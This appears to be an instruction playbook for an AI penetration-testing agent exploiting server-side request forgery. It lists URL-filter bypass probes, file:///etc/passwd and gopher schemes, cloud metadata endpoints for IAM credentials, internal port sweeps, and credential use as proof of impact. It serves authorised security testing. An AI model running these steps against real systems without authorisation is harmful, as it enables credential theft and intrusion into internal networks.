ssrf

SSRF playbook

You suspect a parameter is being fetched server-side. Confirm it, escalate it, prove impact.

Execution rule: use the actual parameter, callback host, and target URL before running commands. Never write literal placeholders such as <endpoint> or <role> to files; if the collaborator/canary host is missing, ask once.

1. Confirm the primitive

Send the http request with the parameter pointing to:

• An out-of-band canary the user provides (interactsh / burp collaborator / a netcat listener they own)
• Compare to a control value to confirm the server is doing the fetch

If the canary fires, you have at minimum a blind SSRF.

2. Map filter behavior

Probe how the server validates the URL. For each probe, capture status and body:

• http://127.0.0.1, http://localhost, http://0.0.0.0
• IPv6: http://[::1], http://[::ffff:127.0.0.1]
• Decimal/octal: http://2130706433, http://0177.0.0.1
• DNS rebinding hosts the user provides
• Schemes: gopher://, file:///etc/passwd, dict://, ftp://
• Redirect chain: a user-controlled URL that 302s to internal target

Group probes by outcome to fingerprint the parser (Python urllib? Java URL? curl? net/http?).

3. Hit cloud metadata

If you suspect AWS:

GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>

If IMDSv2 is enforced, attempt to obtain the token via the same SSRF if the primitive supports headers.

For GCP: http://metadata.google.internal/computeMetadata/v1/ with Metadata-Flavor: Google. For Azure: http://169.254.169.254/metadata/instance?api-version=2021-02-01 with Metadata: true.

4. Internal service discovery

With the SSRF confirmed, sweep common internal ports/paths from the victim's perspective: :80, :443, :6379 (Redis), :9200 (Elastic), :8500 (Consul), :2375 (Docker), :25 (SMTP). Use response time + body fingerprint.

5. Prove impact

• Stolen credentials → demonstrate by listing one S3 bucket / one GCS bucket the role can reach (read-only).
• Internal admin panel → fetch a single page that's clearly internal.
• Source code / config disclosure → grab one file via file:// or internal HTTP.

Write a report to findings/ssrf-<endpoint>.md with the exact request, the exact response, and the impact you proved. Stop there.